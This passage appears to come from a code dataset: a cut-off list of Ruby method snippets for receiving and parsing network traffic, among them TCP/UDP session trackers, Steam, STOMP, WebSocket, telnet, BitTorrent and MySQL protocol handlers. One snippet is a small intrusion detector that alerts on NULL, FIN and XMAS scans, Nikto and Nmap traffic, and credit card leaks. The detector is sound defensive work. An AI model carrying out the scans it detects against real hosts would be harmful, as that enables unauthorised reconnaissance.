Capp::TCP_FIN\n end", "def check ()\n\t return \"OK\" if @simulate\n\t return \"IES\" unless @sock\n\t @sock.readline().chomp\n\tend", "def receive( pkt )\n if @first_packet[:FORWARD] == nil\n @first_packet[:FORWARD] = pkt\n direction = :FORWARD\n elsif @first_packet[:FORWARD].ip_src == pkt.ip_src and @first_packet[:FORWARD].ip_dst == pkt.ip_dst and\n @first_packet[:FORWARD].sport == pkt.sport and @first_packet[:FORWARD].dport == pkt.dport\n direction = :FORWARD\n elsif @first_packet[:REVERSE] == nil and\n @first_packet[:FORWARD].ip_src == pkt.ip_dst and @first_packet[:FORWARD].ip_dst == pkt.ip_src and\n @first_packet[:FORWARD].sport == pkt.dport and @first_packet[:FORWARD].dport == pkt.sport\n @first_packet[:REVERSE] = pkt\n direction = :REVERSE\n elsif @first_packet[:FORWARD].ip_src == pkt.ip_dst and @first_packet[:FORWARD].ip_dst == pkt.ip_src and\n @first_packet[:FORWARD].sport == pkt.dport and @first_packet[:FORWARD].dport == pkt.sport\n direction = :REVERSE\n else\n raise 'assert in udp packet receiver'\n end\n @n_packets[direction] += 1\n @size[direction] += pkt.udp_len\n @last_packet[direction] = pkt\n end", "def handle(pkt)\n # puts \"Received packet, current state: #{@state}, buffer length: #{@recv_buffer.size}\"\n # puts \"tcp_flags: #{pkt.tcp_flags.inspect}\"\n\n @client_next_seq = pkt.tcp_seq + 1\n @server_ack_seq = pkt.tcp_ack\n\n if pkt.tcp_flags.rst == 1\n @state = CLOSED_STATE\n elsif pkt.tcp_flags.syn == 1\n if @state == SYN_SENT_STATE\n @state = ESTABLISHED_STATE\n send_ack\n end\n elsif pkt.tcp_flags.fin == 1\n if @state == ESTABLISHED_STATE\n @state = LAST_ACK_STATE\n send_ack([:fin])\n elsif @state == FIN_WAIT_1_STATE\n @state = CLOSED_STATE\n send_ack\n end\n elsif pkt.payload.length > 0\n @recv_buffer += pkt.payload\n send_ack\n elsif pkt.tcp_flags.ack == 1\n if @state == LAST_ACK_STATE\n @state = CLOSED_STATE\n end\n end\n\n @state\n end", "def parsed?\n @raw.nil?\n end", "def reader_ready?\n IO.select([@socket],nil,nil,0) != nil\n end", "def reply\n receive_packet 1400\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n request_id = @buffer.long\n packet_number_and_count = @buffer.getbyte\n packet_count = packet_number_and_count & 0xF\n packet_number = (packet_number_and_count >> 4) + 1\n\n split_packets[packet_number - 1] = @buffer.get\n\n log.debug \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\"\n\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue SteamCondenser::Error::Timeout\n bytes_read = 0\n end\n else\n bytes_read = 0\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.reassemble_packet(split_packets)\n else\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n log.debug \"Got reply of type \\\"#{packet.class.to_s}\\\".\"\n\n packet\n end", "def reply\n receive_packet 1400\n is_compressed = false\n packet_checksum = 0\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n request_id = @buffer.long\n is_compressed = ((request_id & 0x80000000) != 0)\n packet_count = @buffer.getbyte\n packet_number = @buffer.getbyte + 1\n\n if is_compressed\n @buffer.long\n packet_checksum = @buffer.long\n else\n @buffer.short\n end\n\n split_packets[packet_number - 1] = @buffer.get\n\n log.debug \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\"\n\n bytes_read = 0\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue SteamCondenser::Error::Timeout\n end\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.reassemble_packet(split_packets, is_compressed, packet_checksum)\n else\n packet = SteamCondenser::Servers::Packets::SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n if log.debug?\n packet_class = packet.class.name[/[^:]*\\z/]\n if is_compressed\n log.debug \"Got compressed reply of type \\\"#{packet_class}\\\".\"\n else\n log.debug \"Got reply of type \\\"#{packet_class}\\\".\"\n end\n end\n\n packet\n end", "def receive data\n data.each_char do |char|\n @buffer.concat char\n if @in_header\n prepare_to_parse_message if @buffer.end_with?(\"\\r\\n\\r\\n\")\n else\n parse_message_from_buffer if @buffer.bytesize == @content_length\n end\n end\n end", "def connected?\n\t\t\t\treturn false if @io.closed?\n\t\t\t\t\n\t\t\t\t# If we can wait for the socket to become readable, we know that the socket may still be open.\n\t\t\t\tresult = to_io.recv_nonblock(1, MSG_PEEK, exception: false)\n\t\t\t\t\n\t\t\t\t# Either there was some data available, or we can wait to see if there is data avaialble.\n\t\t\t\treturn !result.empty? || result == :wait_readable\n\t\t\t\t\n\t\t\trescue Errno::ECONNRESET\n\t\t\t\t# This might be thrown by recv_nonblock.\n\t\t\t\treturn false\n\t\t\tend", "def recv(*args)\n data = recv_raw(*args)\n Packet.decode(data)\n rescue\n end", "def read_packet\n length = @socket.read( 4 ).unpack( \"N\" ).first - 1\n type = @socket.read( 1 ).unpack( \"C\" ).first\n reader = @buffers.reader( @socket.read( length ) )\n return type, reader\n end", "def receive(opts={})\n\t\ttimeout = opts.fetch(:timeout, 40).to_i\n\t\twait_for_null = opts.fetch(:wait_for_null, true)\n\t\t\n\t\tresponse = \"\"\n\t\t\n\t\t# Wait for data to become available on the socket\n\t\tres = select([@sock], nil, nil, timeout)\n\t\tif (res == nil)\n\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\tend\n\t\t\n\t\tif (wait_for_null)\n\t\t\tbegin\n\t\t\t\ttimeout(timeout) {\n\t\t\t\t\tresponse = @sock.gets(\"\\0\")\n\t\t\t\t}\n\t\t\trescue Timeout::Error\n\t\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\tresponse.strip!\n\t\t\t\n\t\t\tif response.include? \"Error\"\n\t\t\t\traise response if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\t# If this is a response to a Quit command, the reader will close the socket. \n\t\t\t# If there is an active connection, the reader will reject our attempt to connect.\n\t\t\t# Either way, we're not connected anymore...\n\t\t\tif (response.include? \"Goodbye!\")\n\t\t\t\tclose(false)\n\t\t\tend\n\t\t\t\n\t\t\treturn response\n\t\telse\n\t\t\t# Simply try to read up to 1 kB and return it (no timeout)\n\t\t\treturn @sock.recv(1024)\n\t\tend\n\tend", "def receive_data data\n if @state == :state_playing\n @bust_prompt = true\n $last_sent = '\\n'\n end\n\n data = \"\\n\" if data == nil\n data.gsub!(/\\r\\n|\\n\\r|\\r|\\n/,\"\\n\")\n data = \"\\n\" if data.empty?\n\n # separates telnet sequence from main data stream. Returns the telnet sequences in their own string in the queue.\n a = @network_parser.resume data\n\n a.each do |d|\n data.gsub!(/\\n/, \"\")\n if d.length == 0\n a.delete d\n end\n end \n \n a << \"\" if a.empty?\n\n a.each do |d|\n @input_queue.push d\n end\n \n ## Ok, check we need to shift a command off the top.\n while !@input_queue.empty?\n comm = @input_queue.shift\n \n return if comm == nil \n\n # next if comm.length == 0\n if comm.length != 0 && comm[0].ord == IAC\n # let's see if it matches one we know of.\n do_mxp = DO_MXP \n dont_mxp = DONT_MXP\n do_mccp = DO_MCCP\n dont_mccp = DONT_MCCP \n\n if do_mccp == comm\n log :debug, \"telnet do mccp sequence detected.\"\n# mccp_initialize(self)\n end\n if do_mxp == comm\n mxp_initialize(self)\n log :debug, \"telnet do mxp sequence detected.\"\n end \n log :debug, \"telnet sequence detected.\"\n next ### it's a telnet sequence\n end\n case @state\n when :state_new_connection\n if @nanny.alive?\n if (@nanny.resume comm.downcase) == true\n text_to_socket \"Closing connection.\" + ENDL\n close_connection\n return\n end\n end\n when :state_playing\n \n handle_cmd_input comm\n else\n log :error, \"Socket in bad state.\"\n end\n end\n end", "def packet(pkt)\n super(pkt)\n \n # Only process packets with length right now\n return nil unless pkt.udp_data.length > 0\n \n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n state = identify_state(pkt, :udp, false)\n state.udp_init(pkt, @event_collector) unless state.layer_4\n @protos.parse(pkt.udp_data, state, dir)\n end", "def checkStream(pkt)\n\terrorDetected = false;\n\t$incident = \"test\"\n\n\t# Check TCP vulnerabilities\n\tif pkt.proto.last == \"TCP\"\n\t\tif checkNull(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"NULL\"\n\t\telsif checkFin(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"FIN\"\n\t\telsif checkXMAS(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"XMAS\"\n\t\tend\n\telse\n\t\tif checkNikto(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"nikto\"\n\t\telsif checkNmap(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"Nmap\"\n\t\telsif checkCreditCard(pkt)\n\t\t\terrorDetected = true\n\t\t\t$incident = \"Credit card leaked\"\n\t\tend\n\tend\n\n\tif errorDetected\n\t\tputs \"#{$incident_number}. ALERT: #{$incident} is detected from #{pkt.ip_saddr} (#{pkt.proto.last}) (#{pkt.payload})!\"\t\n\t\t$incident_number = $incident_number + 1\n\tend\nend", "def parse\n case @state\n when :root\n return false unless parse_root_state\n when :command\n parse_command_state\n else\n raise_parser_error 'Unknown parser state'\n end\n\n true\n end", "def response?\n\t\treturn ((self.type == PACKET_TYPE_RESPONSE) ||\n\t\t (self.type == PACKET_TYPE_PLAIN_RESPONSE))\n\tend", "def response?\n\t\treturn ((self.type == PACKET_TYPE_RESPONSE) ||\n\t\t (self.type == PACKET_TYPE_PLAIN_RESPONSE))\n\tend", "def receive\n begin\n paylaod_length = Protocol::Common::DataTypes::Uint32.decode(@io_in)\n rescue NoMethodError\n nil\n else\n payload = @io_in.read(paylaod_length)\n if payload.nil? || payload.bytesize != paylaod_length\n nil\n else\n payload\n end\n end\n end", "def read_frame\n byte = read_and_unpack_byte\n fin = (byte & 0b10000000) == 0b10000000\n rsv1 = byte & 0b01000000\n rsv2 = byte & 0b00100000\n rsv3 = byte & 0b00010000\n opcode = byte & 0b00001111\n\n @logger.debug \"unexpected value: rsv1: #{rsv1}\" unless rsv1 == 0\n @logger.debug \"unexpected value: rsv2: #{rsv2}\" unless rsv2 == 0\n @logger.debug \"unexpected value: rsv3: #{rsv3}\" unless rsv3 == 0\n\n byte = read_and_unpack_byte\n mask = (byte & 0b10000000) == 0b10000000\n lenflag = byte & 0b01111111\n\n # if len <= 125, this is the length\n # if len == 126, length is encoded on next two bytes\n # if len == 127, length is encoded on next eight bytes\n len = case lenflag\n when 126 # 2 bytes\n bytes = @sock.read(2)\n len = bytes.unpack(\"n\")[0]\n when 127 # 8 bytes\n bytes = @sock.read(8)\n len = bytes.unpack(\"Q\")[0]\n else\n lenflag\n end\n\n if mask then\n masking_key = @sock.read(4).unpack(\"C*\")\n end\n\n payload = @sock.read(len)\n payload = apply_mask(payload, masking_key) if mask\n\n return fin, opcode, mask, len, masking_key, payload\n end", "def receive_data(response)\n ip, port = peer_info\n UPnP::SSDP.log \"<#{self.class}> Response from #{ip}:#{port}:\\n#{response}\\n\"\n parsed_response = parse(response)\n\n return unless parsed_response.has_key? :nts\n\n if parsed_response[:nts] == \"ssdp:alive\"\n @alive_notifications << parsed_response\n elsif parsed_response[:nts] == \"ssdp:byebye\"\n @byebye_notifications << parsed_response\n else\n raise \"Unknown NTS value: #{parsed_response[:nts]}\"\n end\n end", "def read\n @socket.gets\n end", "def listen\n\t\trec = @sp.gets(sep=\"\\r\")\n\t\[email protected] \"Rx: \" + rec\n\t\treturn rec\n\t end", "def receive_packet(response)\n pending_pos = nil\n pending_callback = nil\n @pending.each_with_index do |(pending_opaque,pending_cb),i|\n if response[:opaque] == pending_opaque\n pending_pos = i\n pending_callback = pending_cb\n break\n end\n end\n\n if pending_pos\n @pending = @pending[pending_pos..-1]\n begin\n if pending_callback.call(response) != :proceed\n @pending.shift\n end\n rescue Exception => e\n $stderr.puts \"#{e.class}: #{e}\\n\" + e.backtrace.join(\"\\n\")\n end\n end\n end", "def received?\n received_event_parameters\n end", "def receive_message\n @@parms[:verbose] and $>.puts \"Received complete message\"\n true\n end", "def is_receiving_data\n if defined? TsPoint\n return IsTsInstrumentAlive.call(TsPoint, \"value\", self.id, self.sample_rate_seconds+5)\n else\n return false\n end\n end", "def receive_until_token(token)\n received = \"\"\n begin\n byte = @socket.recv(1)\n @receive_buffer << byte\n received << byte\n \n # handle control bytes\n case byte\n when REQUEST_WINDOW_SIZE\n @logger.debug(\"request: window / screen size\") if @logger\n @socket.print(window_size_message)\n when REQUEST_CLEAR_BUFFER\n @logger.debug(\"request: clear buffer\") if @logger\n @receive_buffer = \"\"\n when REQUEST_SWITCH_TO_RAW\n @logger.debug(\"request: switch to raw\") if @logger\n # ...\n when REQUEST_SWITCH_TO_NORMAL\n @logger.debug(\"request: switch to normal\") if @logger\n # ...\n end\n end while !(@receive_buffer =~ token)\n @logger.debug(\"received: #{received.inspect}\") if @logger\n received\n end", "def receive_message\n #$>.puts \"Received complete message\"\n true\n end", "def receive_recipient(address)\n if m = address.match(/<([^>]+)>/)\n @rcpt_to = m[1]\n return true\n else\n @rcpt_to = nil\n return false\n end\n end", "def process(socket, input)\n data = input.chomp.split\n # verify the data\n if not data.shift == magic_string\n return false\n elsif not @commands.include?(data.first)\n raise SocketMessageError.new(\"#{data.first} is not a valid command.\")\n return false\n else\n send(\"process_\" + data.shift.downcase, *data << socket)\n end\n return true\n end", "def allow?(packet); end", "def event_received(sequence)\n false # return true if we handled the event here\n end", "def eof?\n @sock.closed?\n end", "def readable?(timeout)\n readable, writable, errors = IO.select([@socket], nil, nil, timeout)\n return !readable.nil?\n end", "def read_incoming_data\n begin\n line = @socket.gets\n rescue StandardError => boom\n @dead_socket = true\n report \"+++ERROR in read_incoming_data -> @socket.gets: #{boom.inspect}\"\n end\n\n # If we somehow got no data here, the socket is closed. Run away!!!\n if !line\n @dead_socket = true\n return\n end\n\n line.chomp!\n\n report \"+++INCOMING: #{line}\" if @loud\n\n # Only synchronize long enough to push our incoming string onto the\n # input buffer\n @input_buffer_mutex.synchronize do\n @input_buffer.push(line)\n end\n end", "def has_read_data?(timeout = nil)\n\n # Allow a timeout of \"0\" that waits almost indefinitely for input, this\n # mimics the behavior of Rex::ThreadSafe.select() and fixes some corner\n # cases of unintentional no-wait timeouts.\n timeout = 3600 if (timeout and timeout == 0)\n\n begin\n if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and\n (rv[0]) and\n (rv[0][0] == fd))\n true\n else\n false\n end\n rescue ::Errno::EBADF, ::Errno::ENOTSOCK\n raise ::EOFError\n rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE\n # Return false if the socket is dead\n return false\n end\n end", "def receive( pkt )\n raise 'not udp!' unless pkt.udp?\n if @sessions[ reverse_key = pkt.ip_dst_s + ',' + pkt.ip_src_s + ',' + pkt.dport.to_s + ',' + pkt.sport.to_s ]\n key = reverse_key\n elsif @sessions[ forward_key = pkt.ip_src_s + ',' + pkt.ip_dst_s + ',' + pkt.sport.to_s + ',' + pkt.dport.to_s ]\n key = forward_key\n elsif (!@options[:sampling_ratio] or (Digest::MD5.hexdigest( pkt.ip_src_s ).to_i(16) % (2 ** 32)).to_f / (2 ** 32).to_f < @options[:sampling_ratio])\n key = forward_key\n @sessions[key] = UDPSession.new( @options )\n else\n return []\n end\n @sessions[key].receive pkt\n end", "def receive_data data\n if @telnet_options[:telnet_mode]\n c = @input_rest + data\n se_pos = c.rindex(/#{IAC}#{SE}/no) || 0\n sb_pos = c.rindex(/#{IAC}#{SB}/no) || 0\n if se_pos < sb_pos\n buf = preprocess_telnet(c[0 ... sb_pos])\n @input_rest = c[sb_pos .. -1]\n\n elsif pt_pos = c.rindex(\n /#{IAC}[^#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]?\\z/no) ||\n c.rindex(/\\r\\z/no)\n\n buf = preprocess_telnet(c[0 ... pt_pos])\n @input_rest = c[pt_pos .. -1]\n\n else\n buf = preprocess_telnet(c)\n @input_rest.clear\n end\n else\n # Not Telnetmode.\n #\n # We cannot use #preprocess_telnet on this data, because that\n # method makes some Telnetmode-specific assumptions.\n buf = @input_rest + data\n @input_rest.clear\n unless @telnet_options[:bin_mode]\n if pt_pos = buf.rindex(/\\r\\z/no)\n buf = buf[0 ... pt_pos]\n @input_rest = buf[pt_pos .. -1]\n end\n buf.gsub!(/#{EOL}/no, \"\\n\")\n end\n end\n\n # in case only telnet sequences were received\n return if buf.empty?\n\n # append output from server to input buffer and log it\n @input_buffer << buf\n log_output buf, true\n\n # cancel the timer for wait_time value because we received more data\n if @wait_time_timer\n @wait_time_timer.cancel\n @wait_time_timer = nil\n end\n\n # we only need to do something if there's a connection state callback\n return unless @connection_state_callback\n\n # we ensure there's no timer running to check the input buffer\n if @check_input_buffer_timer\n @check_input_buffer_timer.cancel\n @check_input_buffer_timer = nil\n end\n\n if @input_buffer.size >= 100_000\n ##\n # if the input buffer is really big\n #\n\n # We postpone checking the input buffer by one second because the regular\n # expression matches can get quite slow.\n #\n # So as long as data is received (continuously), the input buffer is not\n # checked. It's only checked one second after the whole output has been\n # received.\n @check_input_buffer_timer = EventMachine::Timer.new(1) do\n @check_input_buffer_timer = nil\n check_input_buffer\n end\n else\n ##\n # as long as the input buffer is small\n #\n\n # check the input buffer now\n check_input_buffer\n end\n end", "def read\n ensure_connected do |socket|\n Protocol::Reply.deserialize(socket)\n end\n end", "def check_ok_response( socket, msg )\n result = socket.recv( 100 )\n logger.debug( \"Result for #{msg} : #{result}\" )\n raise \"Invalid response for #{msg}\" unless result == \"OK\\n\"\n end", "def _receive(read_socket, connread = false)\n # p [ \"ioscheck\", @iosto, connread ]\n # _dump_callstack()\n # drdbg = true\n drdbg = false\n @read_semaphore.synchronize do\n line = nil\n if connread\n begin\n Timeout::timeout(@connread_timeout, Stomp::Error::ConnectReadTimeout) do\n line = _init_line_read(read_socket)\n end\n rescue Stomp::Error::ConnectReadTimeout => ex\n if @reliable\n _reconn_prep()\n end\n raise ex\n end\n else\n p [ \"CONR01\" ] if drdbg\n _dump_callstack() if drdbg\n line = _init_line_read(read_socket)\n end\n #\n p [ \"nilcheck\", line.nil? ] if drdbg\n return nil if line.nil?\n #An extra \\n at the beginning of the frame, possibly not caught by is_ready?\n line = '' if line == \"\\n\"\n if line == HAND_SHAKE_DATA\n raise Stomp::Error::HandShakeDetectedError\n end\n p [ \"wiredatain_01A\", line, Time.now ] if drdbg\n line = _normalize_line_end(line) if @protocol >= Stomp::SPL_12\n p [ \"wiredatain_01B\", line, Time.now ] if drdbg\n # Reads the beginning of the message until it runs into a empty line\n message_header = ''\n begin\n message_header += line\n p [ \"wiredatain_02A\", line, Time.now ] if drdbg\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"wiredatain_02B\", line, Time.now ] if drdbg\n line = _interruptible_gets(read_socket)\n p [ \"wiredatain_02C\", line ] if drdbg\n raise if line.nil?\n line = _normalize_line_end(line) if @protocol >= Stomp::SPL_12\n p [ \"wiredatain_02D\", line ] if drdbg\n end until line =~ /^\\s?\\n$/\n p [ \"wiredatain_03A\" ] if drdbg\n # Checks if it includes content_length header\n content_length = message_header.match(/content-length\\s?:\\s?(\\d+)\\s?\\n/)\n message_body = ''\n\n p [ \"wiredatain_03B\", content_length ] if drdbg\n # If content_length is present, read the specified amount of bytes\n if content_length\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"CL01\" ] if drdbg\n message_body = read_socket.read content_length[1].to_i\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n raise Stomp::Error::InvalidMessageLength unless parse_char(read_socket.getc) == \"\\0\"\n # Else read the rest of the message until the first \\0\n else\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"NOCL01\" ] if drdbg\n message_body = read_socket.readline(\"\\0\")\n message_body.chop!\n end\n\n p [ \"wiredatain_04\" ] if drdbg\n # If the buffer isn't empty, reads trailing new lines.\n #\n # Note: experiments with JRuby seem to show that socket.ready? never\n # returns true. It appears that in cases where Ruby returns true\n # that JRuby returns a Fixnum. We attempt to adjust for this\n # in the _is_ready? method.\n #\n # Note 2: the draining of new lines must be done _after_ a message\n # is read. Do _not_ leave them on the wire and attempt to drain them\n # at the start of the next read. Attempting to do that breaks the\n # asynchronous nature of the 'poll' method.\n p [ \"wiredatain_05_prep\", \"isr\", _is_ready?(read_socket) ] if drdbg\n while _is_ready?(read_socket)\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"WHIR01\" ] if drdbg\n last_char = read_socket.getc\n break unless last_char\n if parse_char(last_char) != \"\\n\"\n read_socket.ungetc(last_char)\n break\n end\n end\n p [ \"wiredatain_05A\" ] if drdbg\n if @protocol >= Stomp::SPL_11\n @lr = Time.now.to_f if @hbr\n end\n # Adds the excluded \\n and \\0 and tries to create a new message with it\n p [ \"wiredatain_05B\" ] if drdbg\n msg = Message.new(message_header + \"\\n\" + message_body + \"\\0\", @protocol >= Stomp::SPL_11)\n p [ \"wiredatain_06\", msg.command, msg.headers ] if drdbg\n #\n if @protocol >= Stomp::SPL_11 && msg.command != Stomp::CMD_CONNECTED\n msg.headers = _decodeHeaders(msg.headers)\n end\n p [ \"wiredatain_99\", msg.command, msg.headers ] if drdbg\n msg\n end\n end", "def packet_in(packet)\n if @promiscuous || packet.to_mac == @mac_address || packet.to_mac == MacAddress::BROADCAST\n Log.puts \"#{@host.name}/#{@name} got #{packet}\" if @trace\n @host.handle_packet(self, packet)\n end\n end", "def fetch(length)\n # This callback should be set just once, yielding with the parsed message\n @driver.on(:message) { |msg| yield(msg.data.pack('C*')) } if @driver.listeners(:message).length.zero?\n\n data = @sock.read_nonblock(length) # Read from the socket\n @driver.parse(data) # Parse the incoming data, run the callback from above\n end", "def read?\n (status == READ)\n end", "def receive_message\n true\n end", "def next_line_readable?\r\n readfds, writefds, exceptfds = select([@socket], nil, nil, 0.1)\r\n readfds #Will be nil if next line can't be red\r\n end", "def listen\n begin\n while not @s.closed?\n # Wait for up to two minutes for data to be sent,\n # terminating \"listen\" with an error if input times out.\n timeout = 120\n r = IO.select([@s], [], [], timeout)\n return false, \"Went #{timeout} seconds without input\" if r.nil?\n\n # Now process the message\n buf = @s.read(4)\n break if buf.nil? # If read fails, socket have been closed, so stop listening\n msglen = buf.unpack1(\"L>\")\n next if msglen == 0 # Special case for keep alive messages (do nothing)\n type, payload = @s.read(msglen).unpack(\"Ca#{msglen - 1}\")\n case type\n when 0\n self.h_choke()\n when 1\n self.h_unchoke()\n when 2\n self.h_interested()\n when 3\n self.h_not_interested()\n when 4\n index = payload.unpack1(\"L>\")\n self.h_have(index)\n when 5\n self.h_bitfield(payload)\n when 6\n index, offset, length = payload.unpack(\"L>L>L>\")\n self.h_request(index, offset, length)\n when 7\n index, offset, block = payload.unpack(\"L>L>a#{payload.bytesize - 8}\")\n self.h_piece(index, offset, block)\n @uped += block.bytesize\n when 8\n index, offset, length = payload.unpack(\"L>L>L>\")\n self.h_cancel(index, offset, length)\n end # Unknown message types are simply ignored (i.e. 9:Port is ignored because we don't support DHT)\n @msg_count += 1\n end\n rescue\n @dead = true\n @s.close\n self.disconnect()\n end\n end", "def receive_data_command\n true\n end", "def receive_data_command\n true\n end", "def parsed?\n self.parsed == 1\n end", "def eof?\n @socket.eof?\n rescue IOError, SystemCallError\n true\n end", "def promiscuous?\n\t\t\treturn false\n\t\tend", "def receive_datagram\n return unless IO.select([@socket], nil, nil, 0)\n data = @socket.recvfrom_nonblock(65507)\n datagram = Datagram.new payload: data[0], endpoint: data[1][3], port: data[1][1]\n datagram.valid? ? datagram : nil\n end", "def eof?\n if @stdin.wait_readable(0.00001)\n c = @stdin.getc\n result = c.nil? ? true : false\n @stdin.ungetc(c) unless c.nil?\n result\n else # buffer is empty\n false\n end\n end", "def read\n\n raise \"Interface not connected for read: #{@name}\" unless connected? && read_allowed?\n begin\n\n return get_packet\n rescue Exception => err\n\n Logger.instance.error(\"Error reading from interface : #{@name}\")\n disconnect()\n raise err\n end\n end", "def receive_packet(num, packet)\n # special case errors until I waste the time to scan them to see if they're\n # 4.0 or 4.1 packets. XXX\n if packet[0].ord == 0xFF\n self.error = packet[3..-1]\n self.state = :error\n end\n\n def packet.eof?; self[0].ord == 0xfe; end\n def packet.ok?; self[0].ord == 0x00; end\n\n case self.state\n when :preauth\n handle_preauth(num, Packets::Greeting.new(packet))\n when :auth_sent\n handle_postauth(num, Packets::OK.new(packet))\n\n # queries on a MySQL connection are synchronous. The response\n # packets are:\n # - ResultSet packet (which basically just says \"OK\")\n # - Field packets (describing columns)\n # - EOF (no more fields)\n # - RowData packets (describing a row)\n # - EOF (no more rows)\n\n when :ready\n inject\n when :awaiting_result_set\n # XXX just ignore for now\n self.state = :awaiting_fields\n when :awaiting_fields\n if packet.eof?\n self.state = :awaiting_rows\n else\n handle_field(num, Packets::Field.new(packet))\n end\n when :awaiting_rows\n if packet.eof?\n @cb.call(@fields, @rows)\n @fields = nil\n @rows = nil\n ready!\n else\n # rows have a variable number of variable-length strings, and no other\n # structure, so just hand the raw data off.\n handle_row(num, packet)\n end\n when :awaiting_statement_handle\n if packet.ok?\n handle_statement_handle(num, Packets::PrepareOk.new(packet))\n else\n # XXX handle this case\n @state = :error\n end\n when :awaiting_prepared_params\n if packet.eof?\n @state = :waiting_prepared_fields\n else\n # I cannot for the life of me figure out what I'm supposed\n # to do with these --- using mysql-ruby, I can't get them\n # to change based on their type. Why does MySQL send them?\n # I figured it'd be to let me enforce types on the params.\n end\n when :awaiting_prepared_fields\n if packet.eof?\n @cb.call(@stmt)\n @cb, @stmt, @expect_params, @expect_columns = nil, nil, nil, nil\n ready!\n else\n # I guess I could cache these? But why bother? MySQL is just\n # going to send them again. This protocol confuses and infuriates us!\n end\n when :error\n pp self.error\n else\n raise \"don't know how to handle\"\n end\n end", "def parsed?\n @parsed\n end", "def receive_data data\n #log.debug { \"Receiving data (#{data.size} bytes)\" }\n @lock.synchronize { @parser.parse(data) }\n rescue\n log.warn { \"Error handling data: #{data.hth}\" }\n p $!; puts *$@\n end", "def alive?\n sock_arr = [ @socket ]\n if Kernel::select(sock_arr, nil, sock_arr, 0)\n # The eof? call is supposed to return immediately since select\n # indicated the socket is readable. However, if @socket is a TLS\n # socket, eof? can block anyway - see RUBY-2140.\n begin\n Timeout.timeout(0.1) do\n eof?\n end\n rescue ::Timeout::Error\n true\n end\n else\n true\n end\n end", "def socket?() end", "def blocking_read\n raise RuntimeError, \"RAWIP: blocking_read: Not connected!\" unless connected?\n begin\n loop do\n data, sender = @rsock.recvfrom(8192)\n port, host = Socket.unpack_sockaddr_in(sender)\n #Assume a 20 byte IP header (yuck!)\n return data[20..-1] if host == @dest # only queue packets from our peer\n end\n rescue\n destroy_connection\n raise RuntimeError, \"RAWIP: blocking_read: Couldn't read from socket! (#{$!})\"\n end\n end", "def do_receive\n\n remove = @message['flavour'] != 'flank'\n\n from_child = nil\n from_child = cnodes.delete(from) if cnodes_any? && remove\n\n if di = @message['disable']\n #\n # the off: and the disable:/disabled: can achieve that\n\n wrap_reply('disabled' => di)\n\n elsif node_closed?\n\n if from_child || node_status_flavour\n receive_from_child_when_closed\n else\n receive_when_closed\n end\n\n elsif node_ended?\n\n receive_when_ended\n\n elsif should_apply_on_receive?\n\n apply_on_receive\n\n else\n\n orn = @node['on_receive_nid']\n @from = orn[1] if orn && orn[0] == from\n #\n # in order to move on to the next child...\n\n receive\n end\n end", "def next_line_readable?(socket)\n readfds, writefds, exceptfds = select([socket], nil, nil, 0.1)\n readfds \n end", "def next_line_readable?(socket)\n readfds, writefds, exceptfds = select([socket], nil, nil, 0.1)\n readfds \n end", "def receive(queue, header, message, options, &block)\n begin\n if options[:no_unserialize] || @serializer.nil?\n execute_callback(block, @identity, message, header)\n elsif message == \"nil\"\n # This happens as part of connecting an instance agent to a broker prior to version 13\n header.ack if options[:ack]\n logger.debug(\"RECV #{@alias} nil message ignored\")\n elsif (packet = unserialize(queue, message, options))\n execute_callback(block, @identity, packet, header)\n elsif options[:ack]\n # Need to ack empty packet since no callback is being made\n header.ack\n end\n true\n rescue StandardError => e\n header.ack if options[:ack]\n logger.exception(\"Failed receiving message from queue #{queue.inspect} on broker #{@alias}\", e, :trace)\n @exception_stats.track(\"receive\", e)\n update_non_delivery_stats(\"receive failure\", e)\n end\n end", "def receive(xml)\n @mutex.synchronize { process_xml_from_socket(xml) }\n end", "def receive\n complete = \"\"\n while (t = read) != 0.chr\n if t == @char_lead_byte then\n t = read\n end\n\n attempt_to_reconnect if t.nil?\n\n complete << t\n end\n\n complete\n end", "def receive_line line\n message = IRCParser::Message.parse line\n\n @network.got_message message\n end", "def valid?\n case packet_smb_version\n when 'SMB1'\n return smb_header.protocol == RubySMB::SMB1::SMB_PROTOCOL_ID &&\n smb_header.command == self.class::COMMAND\n when 'SMB2'\n return smb2_header.protocol == RubySMB::SMB2::SMB2_PROTOCOL_ID &&\n smb2_header.command == self.class::COMMAND\n end\n end", "def udp?\n @udp_header\n end", "def receive_data_command\n @headers_finished = false\n @body = []\n @headers = 